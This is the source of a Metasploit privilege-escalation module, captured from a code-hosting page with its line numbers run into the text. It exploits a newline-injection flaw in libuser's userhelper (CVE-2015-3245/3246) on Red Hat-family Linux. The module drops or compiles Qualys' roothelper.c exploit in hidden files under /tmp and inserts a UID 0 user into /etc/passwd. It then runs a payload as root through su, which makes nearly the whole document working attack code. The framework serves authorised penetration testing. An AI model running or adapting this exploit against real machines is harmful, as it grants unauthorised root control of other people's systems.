Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GreatRanking78include Msf::Post::File9include Msf::Post::Linux::Priv10include Msf::Post::Linux::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Libuser roothelper Privilege Escalation',20'Description' => %q{21This module attempts to gain root privileges on Red Hat based Linux22systems, including RHEL, Fedora and CentOS, by exploiting a newline23injection vulnerability in libuser and userhelper versions prior to240.56.13-8 and version 0.60 before 0.60-7.2526This module makes use of the roothelper.c exploit from Qualys to27insert a new user with UID=0 in /etc/passwd.2829Note, the password for the current user is required by userhelper.3031Note, on some systems, such as Fedora 11, the user entry for the32current user in /etc/passwd will become corrupted and exploitation33will fail.3435This module has been tested successfully on libuser packaged versions360.56.13-4.el6 on CentOS 6.0 (x86_64);370.56.13-5.el6 on CentOS 6.5 (x86_64);380.60-5.el7 on CentOS 7.1-1503 (x86_64);390.56.16-1.fc13 on Fedora 13 (i686);400.59-1.fc19 on Fedora Desktop 19 (x86_64);410.60-3.fc20 on Fedora Desktop 20 (x86_64);420.60-6.fc21 on Fedora Desktop 21 (x86_64);430.60-6.fc22 on Fedora Desktop 22 (x86_64);440.56.13-5.el6 on Red Hat 6.6 (x86_64); and450.60-5.el7 on Red Hat 7.0 (x86_64).4647RHEL 5 is vulnerable, however the installed version of glibc (2.5)48is missing various functions required by roothelper.c.49},50'License' => MSF_LICENSE,51'Author' => [52'Qualys', # Discovery and C exploit53'bcoles' # Metasploit54],55'DisclosureDate' => '2015-07-24',56'Platform' => [ 'linux' ],57'Arch' => [ ARCH_X86, ARCH_X64 ],58'SessionTypes' => [ 'shell', 'meterpreter' ],59'Targets' => [[ 'Auto', {} ]],60'Privileged' => true,61'References' => [62[ 'EDB', '37706' ],63[ 'CVE', '2015-3245' ],64[ 'CVE', '2015-3246' ],65[ 'BID', '76021' ],66[ 'BID', '76022' ],67[ 'URL', 'https://seclists.org/oss-sec/2015/q3/185' ],68[ 'URL', 'https://access.redhat.com/articles/1537873' ]69],70'DefaultTarget' => 0,71'Compat' => {72'Meterpreter' => {73'Commands' => %w[74stdapi_sys_process_execute75]76}77},78'Notes' => {79'AKA' => ['roothelper.c'],80'Stability' => [SERVICE_RESOURCE_LOSS],81'Reliability' => [REPEATABLE_SESSION],82'SideEffects' => [ARTIFACTS_ON_DISK]83}84)85)86register_options [87OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),88OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])89]90register_advanced_options [91OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])92]93end9495def base_dir96datastore['WritableDir'].to_s97end9899def password100datastore['PASSWORD'].to_s101end102103def upload(path, data)104print_status "Writing '#{path}' (#{data.size} bytes) ..."105rm_f path106write_file path, data107register_file_for_cleanup path108end109110def upload_and_chmodx(path, data)111upload path, data112cmd_exec "chmod +x '#{path}'"113end114115def live_compile?116compile = false117118if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')119if has_gcc?120vprint_good 'gcc is installed'121compile = true122else123unless datastore['COMPILE'].eql? 'Auto'124fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'125end126end127end128129compile130end131132def check133userhelper_path = '/usr/sbin/userhelper'134return CheckCode::Safe("#{userhelper_path} file not found") unless file? userhelper_path135return CheckCode::Safe("#{userhelper_path} is not setuid") unless setuid? userhelper_path136137vprint_good "#{userhelper_path} is setuid"138139unless command_exists? 'script'140vprint_error 'script is not installed. Exploitation will fail.'141return CheckCode::Safe142end143vprint_good 'script is installed'144145if immutable?('/etc/passwd')146vprint_error 'File /etc/passwd is immutable'147return CheckCode::Safe148end149vprint_good 'File /etc/passwd is not immutable'150151glibc_banner = cmd_exec 'ldd --version'152glibc_version = Rex::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d.]+)/).flatten.first153if glibc_version.to_s.eql? ''154vprint_error 'Could not determine the GNU C library version'155return CheckCode::Detected156end157158# roothelper.c requires functions only available since glibc 2.6+159if glibc_version < Rex::Version.new('2.6')160vprint_error "GNU C Library version #{glibc_version} is not supported"161return CheckCode::Safe162end163vprint_good "GNU C Library version #{glibc_version} is supported"164165CheckCode::Detected166end167168def exploit169if !datastore['ForceExploit'] && is_root?170fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')171end172173unless writable? base_dir174fail_with Failure::BadConfig, "#{base_dir} is not writable"175end176177executable_name = ".#{rand_text_alphanumeric rand(5..10)}"178executable_path = "#{base_dir}/#{executable_name}"179180if live_compile?181vprint_status 'Live compiling exploit on system...'182183# Upload Qualys' roothelper.c exploit:184# - https://www.exploit-db.com/exploits/37706/185path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'186fd = ::File.open path, 'rb'187c_code = fd.read fd.stat.size188fd.close189upload "#{executable_path}.c", c_code190output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"191192unless output.blank?193print_error output194fail_with Failure::Unknown, "#{executable_path}.c failed to compile"195end196197cmd_exec "chmod +x #{executable_path}"198register_file_for_cleanup executable_path199else200vprint_status 'Dropping pre-compiled exploit on system...'201202# Cross-compiled with:203# - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c204path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'205fd = ::File.open path, 'rb'206executable_data = fd.read fd.stat.size207fd.close208upload_and_chmodx executable_path, executable_data209end210211# Run roothelper212timeout = 180213print_status "Launching roothelper exploit (Timeout: #{timeout})..."214output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout215output.each_line { |line| vprint_status line.chomp }216217if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}218register_file_for_cleanup ::Regexp.last_match(1)219end220221if output =~ /died in parent: .*.c:517: forkstop_userhelper/222fail_with Failure::NoAccess, 'Incorrect password'223end224225@username = nil226227if output =~ /Exploit successful, run "su ([a-z])" to become root/228@username = ::Regexp.last_match(1)229end230231if @username.blank?232fail_with Failure::Unknown, 'Something went wrong'233end234235print_good "Success! User '#{@username}' added to /etc/passwd"236237# Upload payload executable238payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"239upload_and_chmodx payload_path, generate_payload_exe240241# Execute payload executable242vprint_status 'Executing payload...'243cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "244register_file_for_cleanup 'typescript'245end246247#248# Remove new user from /etc/passwd249#250def on_new_session(session)251new_user_removed = false252253if session.type.to_s.eql? 'meterpreter'254session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'255256# Remove new user257session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""258259# Wait for clean up260Rex.sleep 5261262# Check for new user in /etc/passwd263passwd_contents = session.fs.file.open('/etc/passwd').read.to_s264unless passwd_contents =~ /^#{@username}:/265new_user_removed = true266end267elsif session.type.to_s.eql? 'shell'268# Remove new user269session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"270271# Check for new user in /etc/passwd272passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"273unless passwd_user =~ /^#{@username}:/274new_user_removed = true275end276end277278unless new_user_removed279print_warning "Could not remove user '#{@username}' from /etc/passwd"280end281rescue StandardError => e282print_error "Error during cleanup: #{e.message}"283ensure284super285end286end287288289